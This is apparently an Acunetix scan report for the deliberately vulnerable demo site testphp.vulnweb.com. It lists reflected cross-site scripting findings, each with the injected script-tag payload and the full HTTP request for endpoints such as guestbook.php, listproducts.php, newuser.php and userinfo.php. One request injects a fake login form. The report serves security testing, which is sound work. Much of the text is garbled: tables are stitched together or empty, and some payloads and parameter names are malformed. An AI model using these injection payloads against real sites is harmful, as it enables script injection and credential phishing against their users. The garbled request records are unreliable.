**Scan of testphp.vulnweb.com**

### Scan details

<table>
<thead>
<tr>
<th>Scan information</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Start time</td>
<td>28/04/2020, 06:29:55</td>
</tr>
<tr>
<td>Start url</td>
<td><a href="http://testphp.vulnweb.com/">http://testphp.vulnweb.com/</a></td>
</tr>
<tr>
<td>Host</td>
<td>testphp.vulnweb.com</td>
</tr>
<tr>
<td>Scan time</td>
<td>32 minutes, 15 seconds</td>
</tr>
<tr>
<td>Profile</td>
<td>Full Scan</td>
</tr>
<tr>
<td>Server information</td>
<td>nginx/1.4.1</td>
</tr>
<tr>
<td>Responsive</td>
<td>True</td>
</tr>
<tr>
<td>Server OS</td>
<td>Unknown</td>
</tr>
<tr>
<td>Server technologies</td>
<td>PHP</td>
</tr>
</tbody>
</table>

### Threat level

**Acunetix Threat Level 3**

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

### Alerts distribution

<table>
<thead>
<tr>
<th>Total alerts found</th>
<th>172</th>
</tr>
</thead>
<tbody>
<tr>
<td>High</td>
<td>65</td>
</tr>
<tr>
<td>Medium</td>
<td>71</td>
</tr>
<tr>
<td>Low</td>
<td>9</td>
</tr>
<tr>
<td>Informational</td>
<td>27</td>
</tr>
</tbody>
</table>
### Affected items

<table>
<thead>
<tr>
<th>Web Server</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
<td>Cross site scripting</td>
</tr>
<tr>
<td><strong>Severity</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>Apply context-dependent encoding and/or validation to user input rendered on a page</td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
<td></td>
</tr>
</tbody>
</table>

#### Details

URI was set to `{1<ScRiPt>fjC0(9307)}</ScRiPt>`

The input is reflected inside a text element.

```
GET /404.php?1<ScRiPt>fjC0(9307)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

---

<table>
<thead>
<tr>
<th>/AJAX/showxml.php</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
<td>Cross site scripting (verified)</td>
</tr>
<tr>
<td><strong>Severity</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>Apply context-dependent encoding and/or validation to user input rendered on a page</td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
<td></td>
</tr>
</tbody>
</table>

#### Details

Cookie input `mycookie` was set to `{3""&%<acx><ScRiPt >rntK(9680)</ScRiPt>`
Cross site scripting (verified)

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Cross site scripting (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Apply context-dependent encoding and/or validation to user input rendered on a page</td>
</tr>
<tr>
<td>Alert variants</td>
<td>URL encoded POST input name was set to <code>&lt;your name here&gt;</code> &quot;()&amp;%&lt;acx&gt;&lt;ScRiPt&gt;JD4Q(9412)&lt;/ScRiPt&gt;`</td>
</tr>
</tbody>
</table>

POST /comment.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Content-Length: 132

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Submit=Submit&comment=555&name=<your%20name%20here>"()%26%25<acx><ScRiPt>JD4Q(9412)</ScRiPt> &phpaction=echo%20%24_POST[comment];
### Cross-site Scripting (verifiesd)

**Severity**
High

**Description**
Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

**Recommendations**
Apply context-dependent encoding and/or validation to user input rendered on a page

**Details**
URL encoded POST input `name` was set to `test"()%26%25<acx><ScRiPt %20>Y6Zb(9407)</ScRiPt>`

```plaintext
POST /guestbook.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 84
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

name=test"()%26%25<acx><ScRiPt %20>Y6Zb(9407)</ScRiPt>&submit=add%20message&text=555
```

```
/guestbook.php
```

### Cross-site Scripting (verified)

**Severity**
High

**Description**
Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

**Recommendations**
Apply context-dependent encoding and/or validation to user input rendered on a page

**Details**
URL encoded POST input `text` was set to `555"()%26%25<acx><ScRiPt %20>Y6Zb(9283)</ScRiPt>`

```plaintext
/guestbook.php
```

```
/guestbook.php
```
POST /guestbook.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 84
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

name=test&submit=add%20message&text=555''()%26%25<acx><ScRiPt%20>Y6Zb(9283)</ScRiPt>

/hpp/

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Cross site scripting (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Apply context-dependent encoding and/or validation to user input rendered on a page</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>URL encoded GET input pp was set to 12''()'&amp;%&lt;acx&gt;&lt;ScRiPt&gt; &amp;jZhN(9893)&lt;/ScRiPt&gt;</td>
</tr>
</tbody>
</table>

GET /hpp/?pp=12''()'&%<acx><ScRiPt &jZhN(9893)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/hpp/params.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Cross site scripting (verified)</th>
</tr>
</thead>
</table>
### Cross-site Scripting (XSS)

**Severity**: High

**Description**: Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

**Recommendations**: Apply context-dependent encoding and/or validation to user input rendered on a page

**Alert variants**

**Details**: URL encoded GET input `p` was set to `1''()'&%<acx><ScRiPt >3dES(9569)</ScRiPt>`

```
GET /hpp/params.php?p=1''()%26%25<acx><ScRiPt%20>3dES(9569)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

**/hpp/params.php**

**Alert group**: Cross site scripting (verified)

**Severity**: High

**Description**: Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

**Recommendations**: Apply context-dependent encoding and/or validation to user input rendered on a page

**Alert variants**

**Details**: URL encoded GET input `pp` was set to `12''()'&%<acx><ScRiPt >l4SI(9722)</ScRiPt>`

```
GET /hpp/params.php?p=valid&pp=12''()%26%25<acx><ScRiPt%20>l4SI(9722)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```
### Cross site scripting (verified)

**Severity**: High

**Description**: Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

**Recommendations**: Apply context-dependent encoding and/or validation to user input rendered on a page.

**Alert variants**

**Details**: URL encoded GET input **artist** was set to '1芒()%26%25&lt;&lt;ScRiPt KM0B(9371)&lt;/ScRiPt> 

**GET /listproducts.php?artist=1芒()%26%25&lt;&lt;ScRiPt KM0B(9371)&lt;/ScRiPt>** HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

### Cross site scripting (verified)

**Severity**: High

**Description**: Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

**Recommendations**: Apply context-dependent encoding and/or validation to user input rendered on a page.

**Alert variants**

**Details**: URL encoded GET input **cat** was set to '1芒()%26%25&lt;&lt;ScRiPt h2AQ(9315)&lt;/ScRiPt> 

**GET /listproducts.php?cat=1芒()%26%25&lt;&lt;ScRiPt h2AQ(9315)&lt;/ScRiPt>** HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
GET /listproducts.php?cat=1"()%26%25<acx><ScRiPt>h2AQ(9315)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/search.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Cross site scripting (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Apply context-dependent encoding and/or validation to user input rendered on a page</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>URL encoded POST input searchFor was set to the&quot;&quot;()&amp;%&lt;acx&gt;&lt;ScRiPt&gt;33Yw(9328)&lt;/ScRiPt&gt;</td>
</tr>
</tbody>
</table>

POST /search.php?test=query HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 70
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

goButton=go&searchFor=the""()%26%25<acx><ScRiPt>33Yw(9328)</ScRiPt>

/secured/newuser.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Cross site scripting (verified)</th>
</tr>
</thead>
</table>

9
**Severity**  
High

**Description**  
Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

**Recommendations**  
Apply context-dependent encoding and/or validation to user input rendered on a page

**Alert variants**

**Details**  
URL encoded POST input `uaddress` was set to `3137 Laguna Street''()&%<acx><ScRiPt>cVea(9682)</ScRiPt>

POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

```
signup=signup&uaddress=3137%20Laguna%20Street''()%26%25<acx><ScRiPt%20>cVea(9682)&ucc=4111111111111111&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g0dPa%24%24w0rD&uphone=555-666-0606&urname=ghovjnjv&uname=ghovjnjv
```

**Alert group**  
Cross site scripting (verified)

**Severity**  
High

**Description**  
Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

**Recommendations**  
Apply context-dependent encoding and/or validation to user input rendered on a page

**Alert variants**

**Details**  
URL encoded POST input `ucc` was set to `4111111111111111''()&%<acx><ScRiPt>cVea(9182)</ScRiPt>"
POST /secured/newuser.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 236
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111'()%26%25<acx>
<ScRiPt>cVea(9182)</ScRiPt>&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=ghovjnju&uname=ghovjnju

<table>
<thead>
<tr>
<th>/secured/newuser.php</th>
<th>Cross site scripting (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
<td>Cross site scripting (verified)</td>
</tr>
<tr>
<td><strong>Severity</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>Apply context-dependent encoding and/or validation to user input rendered on a page</td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Details</strong></td>
<td>URL encoded POST input <strong>uemail</strong> was set to <strong><a href="mailto:sample@email.tst">sample@email.tst</a>''()&amp;%&lt;acx&gt;&lt;ScRiPt&gt;cVea(9345)&lt;/ScRiPt&gt;</strong></td>
</tr>
</tbody>
</table>
POST /secured/newuser.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 236
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

.signup=signup&uaddress=3137%20Laguna%20Street&ucc=41111111111111111&uemail=sample%40email.tst'()%26%25<acx><ScRiPt%cVeag9345)</ScRiPt>&upass=g00dPa%24%24w0rd&upass2=g00dPa%24%24w0rd&uphone=555-666-0606&urname=ghovjnjv&uuname=ghovjnjv

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Cross site scripting (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Apply context-dependent encoding and/or validation to user input rendered on a page</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>URL encoded POST input uphone was set to 555-666-0606&quot;()%&amp;%&lt;acx&gt;&lt;ScRiPt&gt;cVeag(9547)&lt;/ScRiPt&gt;</td>
</tr>
</tbody>
</table>
POST /secured/newuser.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 236
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

signup=signup&uaddress=3137%20Laguna%20Street&ucc=41111111111111111&uemail=sample%40email.tst&upass=g00dPa%2424w0rD&upass2=g00dPa%2424w0rD&uphone=555-666-0606""(%26%25<acx>\n<ScRiPt%cVea(9547)</ScRiPt>&urname=ghovjnjv&uname=ghovjnjv

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Cross site scripting (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Apply context-dependent encoding and/or validation to user input rendered on a page</td>
</tr>
<tr>
<td>Alert variants</td>
<td>URL encoded POST input <code>urname</code> was set to <code>ghovjnjv&quot;&quot;(%26%25&lt;acx&gt;\n&lt;ScRiPt&gt;cVea(9871)&lt;/ScRiPt&gt;</code></td>
</tr>
</tbody>
</table>
POST /secured/newuser.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 236
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

signup=signup&uaddress=3137%20Laguna%20Street&ucc=41111111111111&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=ghovjnjv"()%26%25<acx><ScRiPt>cVea(9871)</ScRiPt>&uuname=ghovjnjv

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Cross site scripting (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Apply context-dependent encoding and/or validation to user input rendered on a page</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>URL encoded POST input uuname was set to ghovjnjv&quot;()%26%25&lt;acx&gt;&lt;ScRiPt&gt;cVea(9277)&lt;/ScRiPt&gt;</td>
</tr>
</tbody>
</table>

/securenewuser.php
**POST /secured/newuser.php HTTP/1.1**

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/*;q=0.8

Accept-Encoding: gzip, deflate

Content-Length: 236

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=ghovjnvjv&uuname=ghovjnvjv"()'&%26%25<acx><ScRiPt>cVea(9277)</ScRiPt>/userinfo.php

---

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Cross site scripting (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Apply context-dependent encoding and/or validation to user input rendered on a page</td>
</tr>
</tbody>
</table>

**/userinfo.php**

**Details**

URL encoded POST input `uaddress` was set to `<h3>If you are already registered please enter your login information below:</h3><br>
<form name="loginform" method="post" action="userinfo.php"> <table cellspacing="1">
  <tr><td>Username : </td><td><input name="uname" type="text" size="20" style="width:120px;"></td></tr>
  <tr><td>Password : </td><td><input name="pass" type="password" size="20" style="width:120px;"></td></tr>
  <tr><td colspan="2" align="right"><input type="submit" value="login" style="width:75px;"></td></tr>
</table>
</form>`
POST /userinfo.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 852
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

uaddress=<div id="content"><div class="story"><h3>If you are already registered please enter your login information below:</h3><form name="loginform" method="post" action="/userinfo.php"><table cellpadding="4" cellspacing="1"><tr><td>Username : </td><td><input name="uname" type="text" size="20" style="width:120px;"></td></tr><tr><td>Password : </td><td><input name="pass" type="password" size="20" style="width:120px;"></td></tr><tr><td colspan="2" align="right"><input type="submit" value="login" style="width:75px;"></td></tr></table></form></div>'"()%26%25<acx><ScRiPt>3o1l(9394)
&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%206666666666</ScRiPt></acx>

<table>
<thead>
<tr>
<th>/userinfo.php</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
</tr>
<tr>
<td><strong>Severity</strong></td>
</tr>
<tr>
<td><strong>Description</strong></td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
</tr>
<tr>
<td><strong>Details</strong></td>
</tr>
</tbody>
</table>
POST /userinfo.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 831
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

uaddress=
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<table%20cellpadding="4"%20cellspacing="1"%0D%0A%09%09<tr><td>Username%20:%20</td><td><input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
%0D%0A%09%09<tr><td>Password%20:%20</td><td><input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
%0D%0A%09%09<tr><td%20colspan="2"%20align="right"><input%20type="submit"%20value="login"%20style="width:75px;"></td>
%0D%0A%09%09</form>%0D%0A%09</div>&ucc=777"onmouseover=3o1l(9849
</div>userinfo.php

Alert group
Cross site scripting (verified)

Severity
High

Description
Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

Recommendations
Apply context-dependent encoding and/or validation to user input rendered on a page

Alert variants
Details
URL encoded POST input uemail was set to matheusdaocu@gmail.com'"()'&%<acx> <ScRiPt >3o1l(9934)</ScRiPt>
POST /userinfo.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 852
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

uaddress=

<div id="content">

</div>

Alert group
Cross site scripting (verified)
Severity
High
Description
Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations
Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants
Details
URL encoded POST input uphone was set to +555 6666666666"]()&%<acx><ScRiPt>3o1l(9784)</ScRiPt>&update=update&uphone=%2B555%206666666666
</ScRiPt>
POST /userinfo.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 852
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

uaddress=

<udiv id="content"%20id="content">%0D%A%09<br>%0D%A%09<br>If%20you%20are%20already%20registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%A%09<br>%0D%A%09<br><form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%A%09<table%20cellpadding="4"%20cellspacing="1">%0D%A%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%A%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%A%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"%20value=""></td>
</tr>%0D%A%09</table>%0D%A%09
</form>%0D%A%09</udiv>&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%206666666666"()%26%25<acx><ScRiPt%20>3o1l(9784)</ScRiPt>
</udiv>

Alert group | Cross site scripting (verified)
---|---
Severity | High
Description | Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations | Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants | Details
Details | URL encoded POST input **uname** was set to **ghovjnjkv**<ScRiPt>3GFT(9826)</ScRiPt> The input is reflected inside a text element.
POST /userinfo.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */*; q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 853
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

uaddress=

```
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">
<table%20cellpadding="4"%20cellspacing="1">
%09<tr>
%09%09<td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>
%09<tr>
%09%09<td>Password%20:%20</td><td>
